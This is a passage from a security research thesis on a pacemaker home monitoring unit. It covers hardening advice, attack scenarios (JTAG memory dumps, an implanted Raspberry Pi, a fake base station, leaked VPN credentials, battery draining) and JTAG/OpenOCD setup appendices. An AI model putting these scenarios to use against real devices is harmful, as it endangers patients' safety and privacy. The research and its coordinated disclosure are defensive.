issues. The practices described below aim at preventing class I and discouraging
class II attackers from attacking the device. Implementing enough security measures
could also increase the cost of the attack and make the class III attackers choose
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another attack vector. Indeed, it is unlikely that organized crime will try to attack a
system if the costs are superior to the profits.

Physical level

On the physical level, the measure that can be implemented is a secure enclosure for
the device. A device that can be opened with a basic screwdriver or a knife is not
likely to discourage class I attacker [22]. Grand advises manufacturers to implement
tampering solutions, some of those mechanisms being described in Physical Security
Devices for Computer Subsystems: A Survey of Attacks and Defenses [57]. The
tampering mechanisms are classified into four categories:

– resistance: making the device more difficult to open, the circuit more difficult
to understand. Protecting the circuit with epoxy1 to prevent an attacker to
tamper with them.

– evidence: having a proof of the tampering (by logging the event for instance),
which can be useful for forensic analysis.

– detection: detecting the tampering (using a magnetic switch for example)

– response: reacting to an attempt of tampering by, for instance, destroying the
device and its data.

Having several tampering mechanisms implemented is likely to discourage a class
I attacker, as it will then require acquiring several devices in order to understand the
mechanisms (which often involves destroying the device).

Access to the most targeted components on the board such as the microcontroller,
the ROM, the RAM or the flash memory should be difficult. Using BGA packages and
putting the chip where it cannot be desoldered and put in socket easily can prevent an
attacker from having access to a rework station to do so [22]. As already highlighted
in our result chapter, wiping out the information written on the components is not
a security measure either. It can, however, slow down an attacker who tries to
understand the overall system.

Circuit level

Regarding the circuit level, one should not expose programming or debugging in-
terfaces on an operational device. Indeed, these interfaces can be of huge help to
an attacker who has physical access to the device as highlighted by our analysis in

1Epoxy is some sort of resin.
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Chapter 4. Grand also advises not to try to obfuscate the programming and debug-
ging interface with some proprietary connectors, as they are likely to be understood
by an attacker with basic probing tools.

Unnecessary test points should be removed from the final board and critical
traces should be hidden in the inner layout of the PCB when possible. This is to
prevent an attacker from eavesdropping directly the communication or to perform
more advanced attacks such as differential power analysis which allows an attacker to
recover cryptographic’s keys [31]. Even though these types of attack seem to require
advanced equipment, a presentation at Troopers 19 shows that Side Channel Attacks
can be executed with very cheap equipment, available to class I attackers [51].

Among other functionalities, JTAG should not be included in the finished product
if possible. Usually, one can disable JTAG on the microcontroller directly which
would require the memory to be reset to enable it again. One can also disconnect
the interface physically by using fuses. However, Grand [22] highlights that this is
not enough as an attacker could repair the connection and then use JTAG again.
Solutions to secure JTAG interface have been proposed by researchers and are pre-
sented by Vishwakarma and Lee [56]. Public Key Cryptography, challenge/response,
credentials are propositions that are given by the author.

Microcontroller security

When it comes to securing the device at the level of the microcontroller, one should
implement a secure boot (also called “trusted boot” or “verified boot”) [16]. This
requires the firmware to be run on the microcontroller to be signed by the manufac-
turer.

The method used to update the device should as well include a strong verification
process, involving code signature. That can prevent an attacker from tampering with
the new firmware or to replace the firmware by its own (if she is able to act as a Man
in the Middle).

As explained by Grand [22], persistent memory should be encrypted. For that one
can use (a)synchronous flash memory with authentication, password and encryption
features. Encryption keys used for the secure boot but also the other cryptographic
operations should not be stored in flash memory, nor appear in RAM. Indeed, it
has been proven by Gutmann [23], that erasing data from RAM, and non-volatile
memory in general, is complicated. Cryptographic chips such as the ATECC508A2

can be used for that purpose.

2More details available at https://www.microchip.com/wwwproducts/en/ATECC508A.

https://www.microchip.com/wwwproducts/en/ATECC508A


98 5. MITIGATION

In the case of medical devices, we highly recommend not to store any patient’s
data on the device in a persistent manner. An attacker having access to an old device
will then not be able to recover any useful information about the patient.

Architecture level

Regarding the firmware running on the device, applying good practice can harden
the reverse engineering task to an attacker who would have dumped a non-encrypted
firmware. As explained by Grand [22], production’s firmware should be compiled
with:

– only the required features (no debug functions)

– no symbol tables and debug information (such as DWARF3 for Executable and
Linkable Format (ELF) files4)

– compiler optimizations which harden the task of identifying common codes

Using source code auditing tools is also recommended by specialists. Open source
tools like Lynis5 can help harden a UNIX-based system.

Algorithm level

When it comes to cryptographic’s algorithms, it is good practice not to implement the
cryptographic functions from scratch and instead use well standardized and reviewed
algorithms such AES or (Rivest Shamir Adleman (RSA) to cite only those two.
Indeed, as well summarized by Schneier, “Anyone, from the most clueless amateur
to the best cryptographer, can create an algorithm that he himself can’t break.”6

Embedded devices usually suffer from power and resource constraints which
prevent the manufacturers from implementing strong cryptography mechanism such
as Public Key Infrastructure (PKI). However, in the case of a monitoring device
which is not using a battery, one can implement asymmetric cryptography. Also, the
usage of integrity and authenticity mechanisms should be considered.

Protocol level

At the highest level, we do recommend the usage of a secure protocol such as SSH
or SSL/TLS.7 These protocols allows strong encryption along with authentication

3DWARF is a debugging format originally developed for the ELF.
4ELF is a file format for executables, defined in http://refspecs.linuxbase.org/elf/elf.pdf.
5Available at https://github.com/CISOfy/lynis.
6Full text available at https://www.schneier.com/crypto-gram/archives/1998/1015.html#

cipherdesign.
7Secure Sockets Layer (SSL) and Transport Layer Security (TLS).

http://refspecs.linuxbase.org/elf/elf.pdf
https://github.com/CISOfy/lynis
https://www.schneier.com/crypto-gram/archives/1998/1015.html#cipherdesign
https://www.schneier.com/crypto-gram/archives/1998/1015.html#cipherdesign
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through different means. Asymmetric encryption can be used for both SSH and
SSL/TLS, or a pair of username/password can also be used with SSH.

As a general recommendation, and for the same reasons developed in the “Algo-
rithm level” section, one should not craft its own communication protocol, but rather
use industry standard protocol. It is bad practice to have a proprietary protocol deal
with the security, as it is most likely to be insecure against some attacks and also to
be reverse engineered by the attacker. It is acceptable to use proprietary protocols
over an already existing secure communication channel (established using SSH for
instance).

Infrastructure level

Even though the infrastructure level is not included in the “embedded security
pyramid” defined by Hwang et al. [27], we do believe it is important to take this level
into considerations when designing an IoT infrastructure. In the situation of an end
device being compromised, the whole infrastructure should include some securities
and not leak information or allow the attacker to contact other devices as it has been
shown by Borgaonkar et al. [12] in the study of femtocells’ security.

Intrusion detection systems could be used along with monitoring of the devices
to detect unusual activity. A device is only supposed to connect to a given number
of ports on the server and any other attempt of connection should be suspicious and
reported. That way, the system can also defend itself by blocking temporarily (or
definitively) the suspicious device. Accounts management should also be implemented.
In the case of medical devices, whose distribution is supposed to be monitored and
regulated, the account of a patient who is not using the service anymore should not
remain active. Otherwise, an attacker who acquires an old device (using eBay for
instance) can gather valid credentials with potentially a huge impact on the vendor’s
systems if no protection is implemented on the server side.

Obfuscation

As already mentioned several times in this thesis, “security by obscurity” is a bad
practice often believed as a good security measure for proprietary devices. This is
definitively true. Obfuscation, however, should still be considered by manufacturers.
It is essential to understand that securing an embedded device to be resistant to
the three classes of attackers is most likely to be very costly and time-consuming,
without having the absolute certainty that the device is secure against an attacker
that has no time nor money limitation. That said, the goal of a manufacturer is to
establish the risk along with a threat model to then design what level of security to
implement. Should a connected temperature sensor be resistant to class I attackers?
The response is most likely to be “yes”. Should it be resistant to a government level
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organization who has the ability to attack the device with state-of-the-art technics?
Most likely not. Implementing obfuscation technics on top of other real security
measures is, as explained by Grand [22], a good way to raise the difficulty of the
attacks and to discourage most of the class I attackers.

5.2.3 Recommended guidelines

This subsection aims at providing the reader with more complete and detailed
guidelines issued by companies and organizations.

GSMA The GSMA is an organization who represents the interest of mobile operators
worldwide. Part of their work includes IoT security, and they provide detailed
guidelines on their website.8 Notably, best practices are given in the “GSMA
IoT Security Guidelines” along with a set of resources to assess an IoT ecosystem
in the “GSMA IoT Security Assessment”. These guidelines and set of resources
cover all the steps of the development of an IoT ecosystem, that is why they
are included in this section.

OWASP The OWASP Foundation, famous for its “TOP 10” vulnerabilities’ list
also provides guidance on how to secure IoT environments.9 We particularly
recommend this guide as a beginning. It indeed provides three different top ten,
targeting the manufacturers, the developers and the consumers. Each of these
top ten provides the vulnerabilities from the most common to the least, which
allows to prioritize the mitigation and/or the implementation of the security
features.

Microsoft Microsoft provides security guideline for the implementation of an IoT
architecture on Azure. Companies do not always have the skills neither the
infrastructure required to use IoT and have to rely on a third party, such as
Microsoft Azure. It is then important to follow the guidelines10 Microsoft is
providing them with, as they ensure a good configuration of the infrastructure
along with a secure design of the whole infrastructure in general.

Manufacturers’ guidelines Finally, when designing a product, it is also important
to look for the guidelines written by the manufacturers of a given product. The
security guidelines for a given microcontroller is an example. Often, microcon-
trollers and hardware chips are featured with several security functionalities
which are not taken advantage of by the engineers.

8Available at https://www.gsma.com/iot/iot-security/iot-security-guidelines/.
9Available at https://www.owasp.org/index.php/IoT_Security_Guidance.

10Available at https://docs.microsoft.com/en-us/azure/iot-fundamentals/
iot-security-architecture.

https://www.gsma.com/iot/iot-security/iot-security-guidelines/
https://www.owasp.org/index.php/IoT_Security_Guidance
 https://docs.microsoft.com/en-us/azure/iot-fundamentals/iot-security-architecture
 https://docs.microsoft.com/en-us/azure/iot-fundamentals/iot-security-architecture
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As a conclusion of this chapter, it is important when designing an embedded device
to include security in the development cycles and to apply “security by design” to all
abstraction layers, from the physical layer to the infrastructure one. A vulnerability
in one of the layers can lead to the device being fully compromised and that scenario
should be kept in mind by the engineers when defining what security measures will
be included. When designing embedded medical devices, engineers must also consider
the assets they are trying to secure, which are in most cases the patient’s safety and
privacy.
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6Discussion

6.1 Implications of this work

6.1.1 Attack scenarios

As a result of the security analysis of the CardioMessenger II-S, several vulnerabilities
have been found, both hardware and software. Alone, these vulnerabilities have each
a small to medium impact on the ecosystem. When chained, however, the impact is
more severe, and we established several scenarios based on our threat model that
could threaten both the patient’s privacy and safety. We assume in those scenarios
that the attacker is organized crime whose goal is to blackmail a politician in order to
influence some decisions, the politician or someone in her family having a pacemaker
and an HMU.

In the first scenario, the goal of the attackers is to be able to perform extortion
attacks, threaten the politician’s life, and get hold of his personal data. In order
to accomplish that, they could bribe the housekeeper or the concierge to get access
to the politician’s flat and thus to the HMU. They would then install a Raspberry
Pi Zero in the HMU, connected to the JTAG ports. That part requires to solder
four wires on very small connectors and two wires on the ground and the power.
The device would then be closed again (the Raspberry Pi Zero is small enough to fit
inside the device). Having configured the Raspberry Pi as an Access Point (using, for
instance, hostapd) the attackers are then provided with a “remote physical address”
to the HMU. The attackers are now in a position to do a MitM attack and have
access to all the data that are going through the HMU along with the encryption
key used to encrypt the data sent to the server. They also have the credentials to
connect to the VPN and to the backend server, and can thus send forged packets
to the service, tricking the doctor into thinking that there is a problem or on the
contrary that everything is alright even though it is not. Indeed, although the HMU
is not lifesaving equipment as explained by the vendor, it can still be used to detect
malfunctions on already implemented pacemakers such as batteries’ defects and
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preventing that information to be reported could lead to the death of the patient [19].

The second scenario does not require to install a Raspberry Pi inside the HMU
but still requires physical access for 5 to 10 minutes. In that amount of time, we
think it is possible to open the device, connect to the JTAG interface (using a
special connector crafted for that specific interface) and dump the memory. With the
memory, the attackers are provided with the encryption key and can then decrypt all
data that are sent to the backend server, breaking the privacy of the patient. That
data can be accessed by installing a Fake Base Station near the device. The signal is
more powerful than the one from the normal antenna so the device will connect to it
and try to send its information. Indeed, there is no authentication of the backend
server from the HMU, which means that it sends its data to a pre-configured IP as
soon as it is provided with an IP itself.

Both those scenarios do not require a lot of expensive equipment. All it takes
is a Raspberry Pi Zero, which costs around $10, and soldering skills. The hardest
part of this scenario is in fact to get physical access to the HMU. However, this is
definitively possible for the organized crime for instance.

6.1.2 Hypothetical attack scenarios

The scenarios that are described below have not been tested and uncertainty exists
regarding their feasibility. However, we do think they are worth being reported to
the vendor for it to verify its systems against those hypotheses. They could indeed
have a huge impact.

During our research, we got access to the credentials used to connect to the VPN
and to the backend services, which still seem valid. We have been able to contact the
backend server with one of the HMU but have not tried to interact directly using a
computer, as it goes outside our scope and we do not have the authorization from
the vendor. Our hypothesis is however, that it should be possible by using one of
the valid SIM cards at our disposal. It would then be possible for an attacker to
get an IP address inside the vendor’s VPN and to interact with the server that lies
there. These servers not being exposed on the internet, we do not know what level
of security is implemented. If for instance the patient’s data are stored unencrypted
on the “collect server”, that could lead to a huge data breach if an attacker were to
get access to it. That is why we do recommend the vendor to assess the security
of that network and to harden the servers that are in that network. Indeed, the
vulnerabilities leaking the credentials seem challenging to fix by a software update
which means that several credentials will remain available.

Given the research about automotive and femtocell’s security described in Chap-
ter 2, the hypothesis of a remote attack using the Mobile Broadband should be
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considered. This kind of attack can impact not only one specific patient but the
patients in a whole geographic area. Our study showed that information can be
gathered and attacks performed with physical access to the device. If code execution
is possible using a flaw in the modem or using the mobile network, that could motivate
organized crime or worse, terrorist organizations to exploit that attack vector and
then reproduce our findings remotely.

Another scenario that could be possible is on the communication link with the
pacemaker. We have not conducted research on this interface but now that we
have the firmware, it seems possible to reverse engineer the code connecting to
the pacemaker. Assessing that link for insecure features is also important, as it
has already been demonstrated in other studies that performing a battery-draining
attack on this interface might be possible [10, 11]. Such attacks use the HMU to
constantly interrogate the pacemaker in order to make it perform cryptographic
and communication operations which are battery-consuming. Researchers were able
to drain the battery of a pacemaker “at a rate of approximately three percent per
24-hour period” using a Merlin@Home device [10]. At that rate, they calculated
that draining the full battery of the pacemaker would take three months.1 A good
practice would be for the pacemaker to establish the communication. However, Rios
and Butts [46] demonstrated that the HMU is establishing the communication for all
the four vendors studied, vendor four being Biotronik.

6.1.3 Ethical considerations

One could argue that the probability of such an attack vector being chosen to attack
someone’s privacy and safety is very low. However, this threat is taken really seriously
by high-valuable targets such as the former Vice President of the United States [43],
which led us to think that the zero risk does not exist. That is why the main reason
why we have chosen to wait with disclosing our findings. Instead, we will contact the
vendor as explained in Chapter 3 and follow a coordinated vulnerability disclosure
process.

In addition, many of the vulnerabilities found are due to PCB design or hardware
problem in general which means that they are unlikely to be fixed by the vendor.
Furthermore, this device not being the most recent one, it might not be worth
investing in mitigation of our results. We do hope however, that disclosing our
findings to the vendor will help them increase the security of their future devices.

1Assuming that the patient is sleeping eight hours per night.
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6.2 Remaining problems in the IoT and Medical Devices

Security in the IoT area has been a hot topic for several years now. But it is clear
that the situation is not really evolving. We had the opportunity to attend to the
Troopers conference in Heidelberg, Germany which had a “Breaking the IoT” track,
along with a round table about the IoT and medical devices’ security. We also
attended conferences at Sikkerhet og Sårbarhet in Trondheim where concerns about
that topic were also raised. In this section, we try to summarize the main problems
existing in the IoT area and more specifically in the medical devices based on our
experience working on that topic for the past year and on the different contents
proposed at the conferences.

6.2.1 Best practices are not applied

All the participants of the round table entitled “IoT / Medical Device Security”
agreed on the fact that best practices are not applied in that area. The observations
made by several researchers in the Automotive and IoT areas show that vulnerabilities
found in devices today are the same as ten years ago. Different reasons were raised
to explain that phenomenon:

– A lack of awareness from both the manufacturers and the customers

– A lack of IT security knowledge from manufacturers

– Negligence from the manufacturers

– A requirement from the market to quickly develop a product

– A lack of regulation

Another interesting point raised is that medical devices’ users do not have the
choice. Indeed, they often rely on their medical devices for their survival and thus
cannot refuse to use them. That means manufacturers can impose higher prices as
well as poor security as they have the monopoly on medical devices interacting with
their implants. Security could, in fact, be a justification for the price of the products,
but severe security flaws are still discovered nowadays.

In the case of Biotronik, our assessment is that it is indeed better at implementing
security than other manufacturers in some aspects. On one side, they do have
encryption implemented and use a VPN to connect to their backend server. On the
other side, they seem to have underestimated the physical security and send credentials
in clear text over different communication channels. Also, attacks exploiting the
JTAG interface are not new and were already presented at BlackHat Europe 2006
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by Barnaby Jack [28]. But the CardioMessenger II-S being from 2008, it is not
surprising that we found that vulnerability.

6.2.2 The medical security trade-offs

Developing secure IoT and medical devices is hard. Multiple challenges have to
be overcome, both technically and ethically. Indeed, as explained by Zheng et al.,
developing a secure embedded medical device is a real technical challenge and three
main trade-offs exist [59]:

Security vs. Accessibility This is maybe one of the most complex challenges to
overcome when designing an IMD: creating a device that is both secure and
accessible in case of emergency. Indeed, in case the patient needs surgery or
any other emergency treatment that could require to disable the implant, the
doctors should be able to do so, even in a hospital on the other side of the
earth. Ensuring security while having a “backdoor” access is however quite
counter-intuitive.

Emergency vs. Checkup Patients sometimes require checkup when having some
implants (such as a pacemaker or an insulin pump). The challenge here is to
implement security measures for the doctor to access the device in a secure
way (not in an emergency context) but without consuming too much power, as
the implants have limited battery and strong authentication mechanisms could
shorten their life significantly.

Security vs. Resources Similarly to the second trade-off, security schemes im-
plemented in an implant have to be “light” in terms of battery consumption
which often means weak security. That is also why it is challenging to conceive
a monitoring unit for such a device, as sending the data is already power
consuming. Sending them with authentication, encryption, etc. is even more.

In addition, when dealing with medical devices security, and security in the
medical area in general, one has to face ethical issues. Indeed, as emphasized by
Beau Woods during his talk at Sikkerhet og Sårbarhet, one has to consider the assets
that are really at stake when securing an IT environment. In a medical environment,
it is often the patients’ safety. One striking example he gave was about implementing
a strong password policy on the computers that are used in an emergency service.
He said: “The time a doctor is spending resetting his password, he is not spending
it saving lives.” According to him, that is where the difference between financial
companies and critical industries stands: “companies can deal with a financial loss,
but what about humans’ lives?” This dilemma is the case in the medical devices’
industry but also in the automotive industry.



108 6. DISCUSSION

In a nutshell, designing devices that could put humans’ lives at stake is not an
easy task. While the question of which medical device is the most secure should not
be asked, it is a utopia to believe that all manufacturers are putting security at their
top first priority. We can, however, hope that manufacturers start to be more aware
of the security problems that exist, and start include security in the design cycle of
their products.

6.2.3 Scoring systems

Even though we are not using any of the two scoring systems described below, we
do believe that assessing a medical device using a defined and standardized scoring
systems is important. This subject still being a discussion we have not included such
a rating in our thesis. However, a more complete assessment of our findings involving
interviews along with an adapted scoring system is left for future work as explained
in Section 6.3. That justifies the discussion of the scoring systems’ problem in this
section.

When assessing the security of their IT systems, companies need a way to know
the severity of the vulnerabilities. That way, they can remediate quickly to the most
critical problems. The solution is to use a scoring system that allows the comparison
between the vulnerabilities based on several criteria. One of the most commonly used
scoring systems is the Common Vulnerability Scoring System (CVSS). It evaluates
the severity based on several metrics and gives a score to the vulnerability ranging
from 0 to 10. Metrics include impact, environment or temporality [38].

Manufacturers are required to assess the risk associated with their devices during
the development process. However, CVSS does not fit well to assess the security
of medical devices. As explained by Penny Chase and Steve Christey Coley [42],
CVSS was “developed for enterprise information technology systems and do not
adequately reflect the clinical environment and potential patient safety impacts.”
According to the same authors, a scoring system suited for medical devices should be
of “minimal complexity”, “usable by practitioners”, “flexible” and also be accepted
by the different actors including the “manufacturers, the hospitals, the researchers,
the patients and the regulators.”

Designing such a scoring system is a challenging task given the fact that all
the actors have a different perspective on the subject. However, they do all agree
on the fact that priority should be given to the patients’ safety and security [15].
Penny Chase and Steve Christey Coley proposed a rubric that guides CVSS users
into assessing medical devices [42]. Their idea is there to keep using CVSS but
to adapt it for medical devices. The rubric provides for each metric of the CVSS,
decisions trees with questions and examples. Also, they explain that the exploitability
and the impact should lead to two different scores, in order for the impact not to
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hide the exploitability. Adapting CVSS is however not the only solutions that have
been proposed. QED Secure Solutions and WhiteScope have come with a brand-
new scoring system specifically designed for medical devices: Risk Scoring System
for Medical Devices (RSS-MD). As explained by the creators of that system, it
remains consistent with the objectives of the CVSS while providing the medical
community with factors they care about such as a focus on the impact to the patient’s
safety [7]. The system differentiates two scores: the functional impact score and
the vulnerability score. The functional impact aims at reflecting the impact of an
exploited vulnerability on the medical devices capability to assure its primary function
of taking care of the patient while the goal of the vulnerability characterization is
more similar to the CVSS and gives more understanding of the vulnerability itself
along with its exploitability.

However, these different solutions are still work in progress and we did not use
them for assessing our findings.

6.2.4 Certifications

As explained in Chapter 1, medical devices are classified into several types by
regulatory agencies in Europe and America. Devices that have a direct impact on
the patients’ safety require their hardware and software to be certified. This is a
good measure.

However, when a bug or a security issue is reported to a vendor, mitigating that
bug can induce changes in the software which then needs to be certified again. That
certification process is both costly and time-consuming. Also, what happens if the
mitigation and re-certification process last three months and that a new vulnerability
is disclosed to the vendor every month or every two months as it can happen in the
automotive industry? Manufacturers are then more likely to leave the bug unfixed if
they estimate that there is no risk.

This is another situation where vendors are facing a dilemma. Indeed, the money
and time that are invested in obtaining a new certification for a product are not
invested in the creation of the next generation of saving life devices. Vendors have to
answer questions such as “should we focus on saving the life of a few individuals or
work on the next generation of devices which could save many more people?”. This
can be seen as a modern version of the Trolley problem introduced by Philippa Foot in
1967 and further discussed by Judith Thomson in 1976 [20, 54]. This problem raises
the question of whether or not it is ethical to switch a lever to kill one person and
save five that would have died otherwise. In other words, that raises the dilemma of
“killing” versus “letting die”. The exact same dilemma is now faced by the automotive
industry when designing the autonomous driving systems. Should the car choose
to save its passengers and kill a pedestrian, or on the contrary choose to let its
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passengers die? Those questions are the ones manufacturers should have in mind
when designing new devices and objects that can have a direct impact on humans’
lives. It is however out of our scope to try to answer them.

6.3 Future work

Even though both Anniken Wium Lie’s thesis and our thesis present new vulnerabil-
ities in the pacemaker’s ecosystem, there are still plenty of elements that need to
be investigated. We try in this section to give some leads for future work on the
Biotronik’s pacemaker ecosystem.

We have described in the first section of this chapter two scenarios that could
possibly threaten both the patients’ privacy and safety. However, without having
a working pacemaker connected to our HMU it was not possible to have a proof of
concept of our claims. One of the further research that could be conducted could use
a working pacemaker and our findings to study the exact impact of the vulnerabilities
discovered. We do not know what kind of data is transmitted by the pacemaker
to the HMU and what is the impact of faking this data for the practitioner. A
more detailed risk analysis using the scoring systems developed currently along with
interviews of the actors of the ecosystem could be performed.

As we got the firmware of the CardioMessenger II-S, more studies can be performed
on it. Notably, one can take a look at the following points:

– the code in charge of receiving data from the server. We do not know what
kind of data they are supposed to receive. It could be update related data
or other data. Some flaw might exist in this code and could lead to remote
exploitation of the device, as we already know that the data is indeed copied
in RAM when sent to the device through that communication channel.

– the update mechanism. It is a common way for attackers to obtain the firmware
and to then compromise the device. Apart from the receiving functions, we
have not been able to confirm that such an “update over the air” system exist
here.

– the way the SMS are handled. We know from the firmware source code that
the HMU is parsing the received SMS. It could be as well an attack vector if
vulnerabilities exist in those functions.

– the communication link with the pacemaker. The code to interact with the
pacemaker can be reverse engineered to understand what is happening on that
interface and what is doable. Testing which device between the pacemaker and
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the HMU is in charge of establishing the communication can be an indication
of whether or not it is possible to drain the battery of the pacemaker.

The CardioMessenger II-S is not the last device from the vendor and is thus not
expected to be the most secure today. That is why focusing on the latest version
of the HMU, the CardioMessenger 3G can be interesting. We have done very little
work on that device. Soldering a connector to the JTAG interface is the way to go in
our mind. One should, however, be careful as it is also complex soldering. Doing
more investigation on the USB interface is also possible, notably fuzzing. However,
without a way to monitor the microcontroller, it might not be really of any interest.

It is most likely that the vendor is not starting a firmware from scratch for
each new device. Indeed, similarities between devices exist as we noticed with the
Bootloader’s messages on the UART. It could probably be useful to spend some time
investigating the older HMU versions and to try to get their firmwares as it could
reveal interesting findings for the most recent devices.

Finally, the last lead would be to work with the vendor’s authorization to assess
their cloud-based infrastructure and see what is indeed doable when VPN’s credentials
are gathered.





Chapter

7Conclusion

Improving the security level of IoT devices, and more specifically of medical devices
is still an ongoing research topic involving researchers, manufactures, doctors, reg-
ulations authorities and patients. Part of researchers’ work involves assessing the
security of existing devices. In our thesis, we focused on Biotronik’s pacemaker
ecosystem with one main hypothesis:

The Biotronik’s HMUs contain security vulnerabilities that might help an
attacker with physical access to the device to get patients’ personal data

or to be a threat to patients’ safety.

To answer this question, we defined a testing methodology based on the Black
Box Testing Methodology, which we applied to the Biotronik’s Home Monitoring
Unit. As a result of our testing, we discovered several vulnerabilities that can impact
both the patient’s safety and privacy, thus confirming our main hypothesis. We
provided mitigations that could be used to make the device more secure along with
general guidelines for designing more secure embedded devices. Finally, we discussed
the implications of our findings along with the remaining problems in the IoT area.

Overall, our results demonstrate that the Biotronik’s CardioMessenger II-S con-
tains vulnerabilities that can have a substancial impact on the patients and on
the ecosystem in general. Our work opens the door to further research on the
CardioMessenger II-S but also on the latest HMUs of Biotronik.
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Appendix

AMethodologies and procedures

A.1 Discovering the JTAG interface

A.1.1 Updating the JTAGulator firmware

JTAGulator being a tool under development, new functionalities and bug fixes are
added on each new release of its firmware. The firmware used during our research is
the version 1.6. It has been upgraded on a Mac OS system by following the procedure
described below.1 The procedure on Windows systems is slightly different as it takes
advantage of Windows-only tools.

1. Download the propellergcc that corresponds to the OS from https://code.
google.com/archive/p/propgcc/downloads

2. Download the desired version of the JTAGulator from https://github.com/
grandideastudio/jtagulator/releases

3. Extract both archives

4. Connect the Board to your computer

5. Execute the following command (ensure that there is no session on the board):

$ ./ parrallax /bin/propeller -load \

-e jtagulator -1.6/ JTAGulator . eeprom

6. The result should be similar to:

Propeller Version 1 on /dev/cu.usbserial - A601YNUN

Loading .../ jtagulator -1.6/ JTAGulator . eeprom to EEPROM via

hubmemory

1This procedure is based on the documentation available at https://sites.google.com/site/
propellergcc/documentation/tutorials/load-propgcc-code-images
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32768 bytes sent

Verifying RAM ... OK

Programming EEPROM ... OK

Verifying EEPROM ... OK

7. Disconnect the board

Once the board is reconnected, the new firmware should have been flashed
correctly. One can confirm that by issuing the “I” command on the firmware 1.6.

JJJ TTTTTTT AAAAA GGGGG UUU LLL AAAA TTTTTT OOOOO RRRRRR

JJJJ TTTTTTT AAAAAA GGGGGGG UUUU LLL AAAAAA TTTTTTTT OOOOOOO RRRRRRRR

JJJJ TTTT AAAAAAA GGG UUU UUUU LLL AAA AAA TTT OOOO OOO RRR RRR

JJJJ TTTT AAA AAA GGG GGG UUUU UUUU LLL AAA AAA TTT OOO OOO RRRRRRR

JJJJ TTTT AAA AA GGGGGGGGG UUUUUUUU LLLLLLLL AAAA TTT OOOOOOOOO RRR RRR

JJJ TTTT AAA AA GGGGGGGGG UUUUUUUU LLLLLLLLL AAA TTT OOOOOOOOO RRR RRR

JJJ TT GGG AAA RR RRR

JJJ GG AA RRR

JJJ G A RR

Welcome to JTAGulator . P r e ss ’H’ f o r a v a i l a b l e commands .

Warning : Use o f t h i s t o o l may a f f e c t t a r g e t system b e h a v i o r !

A.2 Interacting with a JTAG interface

To interact with a JTAG interface, proprietary connectors are usually used (as the
J-LINK adapters from Segger). However those connectors can be expensive. In this
thesis we tried to performed attacks with the lowest cost possible. That is why, even
though it could be more practical to use a proprietary interface, we present here a
way to interact with a JTAG interface using OpenOCD along with the Shikra and a
Raspberry Pi Zero W.

A.2.1 Using the Shikra as the interface

The Shikra from Xipiter is already the tool we used when we wanted to interact
with RS-232 or more generally to UART as it as revealed itself as being very stable
compared to regular USB to TTL connectors. OpenOCD does not include any
specific2 configuration file for the Shikra but Xipiter is giving one on their website:

# shikra .cfg

interface ftdi

ftdi_vid_pid 0x0403 0x6014

ftdi_layout_init 0x0c08 0x0f1b

2The configuration file for the Shikra could actually be deducted form the one of the JTAGkey
for instance, as the chip used on the board is the same.
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adapter_khz 1000

#end shikra .cfg

One need to create a basic configuration file “config.cfg” with the following content
to interface with the microcontroller:

jtag newtap at91 tap -irlen 8 -expected -id 0 x05B0203F

adapter_khz 1000

transport select jtag

The connection can then be checked using the scan_chain command.

> scan_chain

scan_chain

TapName Enabled IdCode Expected IrLen IrCap IrMask

- -------------- ------- ---------- ---------- ----- ----- ------

0 at91rm9200 .cpu Y 0 x05b0203f 0 x05b0203f 4 0x01 0x0f

A.2.2 Using a Raspberry Pi as the interface

An even cheaper option than the Shikra is to use a Raspberry Pi Zero as an interface.
Indeed, those boards cost $10 from official resellers and have everything needed to act
as a JTAG interface. Some project exist as well to use Raspberry board to perform
JTAG enumeration.3

As explained above, using OpenOCD is not always straight forward and having a
functional configuration can take several trials and errors before it does what one
can expect.

Establishing a basic connection

The installation and configuration process from a Raspberry Pi Zero that is already
a Linux distribution installed (Raspbian GNU/Linux 9 (stretch) in our case) is the
following:

1. Connect to the Raspberry Pi (using SSH, a serial connection or other).

2. Execute the following commands line to build OpenOCD from sources and
including the required dependencies for the Raspberry Pi. An error regarding
the lack of “make info” might be raised but it is not an issue.

3JTAGenum is available at https://github.com/cyphunk/JTAGenum

https://github.com/cyphunk/JTAGenum
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$ sudo apt -get update

$ sudo apt -get install git autoconf libtool make pkg - config

libusb -1.0 -0 libusb -1.0 -0 - dev

$ git clone http :// openocd .zylin.com/ openocd

$ cd openocd

$ ./ bootstrap

$ ./ configure --enable - sysfsgpio --enable - bcm2835gpio

$ make

$ sudo make install

3. Connect the pins according Table A.1.

JTAG Pin Raspberry Pi Pin4

TCK 23

TDI 19

TDO 21

TTMS 22

TRST (opt) 24

Table A.1: Raspberry Pi’s JTAG connection using OpenOCD

4. Issue the following command to copy the configuration file of the Raspberry Pi

$ cp /path/to/ openocd / scripts / interface / raspberrypi - native .

cfg rpi.cfg

5. Reuse the same configuration file created for the Shikra (“config.cfg”).

6. Issue the following commands in two different sessions (or on another terminal
if you decide to allow remote access):

$ sudo openocd -f rpi.cfg -f config .cfg. # terminal 1

$ nc 127.0.0.1 4444 # terminal 2

7. The connection can be checked using the scan_chain command that should
return the following:

> scan_chain

scan_chain

TapName Enabled IdCode Expected IrLen IrCap IrMask

- -------------- ------- ---------- ---------- ----- ----- ------

0 at91rm9200 .cpu Y 0 x05b0203f 0 x05b0203f 4 0x01 0x0f

4The pins correspond to the GPIO’s pins of the Raspberry and not to the microcontroller’s pins.
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BTools developed

B.1 Serial line communication scripts

B.1.1 Extended monitoring script for serial line communication

Listing B.1: CardioMessenger Serial Monitor Script

1 #!/ usr/bin/env python3

2

3 """

4 File name: cm -serial - monitor .py

5 Version : 1.0

6 Author : Guillaume Bour

7 Last modified : 2018/05/29

8 License : GNU General Public License v3 .0

9 Description : A script to monitor activity on a UART channel .

10 This script logs the received both in raw and decoded format .

11 """

12

13

14 import serial

15 import os

16 import sys

17 import time

18 import datetime

19 import signal

20

21

22 DISPLAY_NEW_LINE = False

23 VERSION = 1.0

24 TIMESTAMP_FORMAT = "%Y -%m -%d %H:%M:%S"

25 LOGGING = True

26 WAITING_TIME = 0.04 # 0.04 for CM as response time is set to 30 ms

27

28 BASIC_FILE_NAME = datetime . datetime .now (). strftime ("%Y%m%d_%H%M%S.txt")

29 RAW_FILE_NAME = datetime . datetime .now (). strftime ("%Y%m%d_%H%M% S_raw .txt

")

30

125
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31 file_basic = None

32 file_raw = None

33

34

35 def usage ():

36 print (" Usage : python3 cm -serial - monitor .py SERIAL_PORT BAUDRATE ")

37

38

39 def main ():

40 if len(sys.argv) < 3:

41 usage ()

42 sys.exit (0)

43

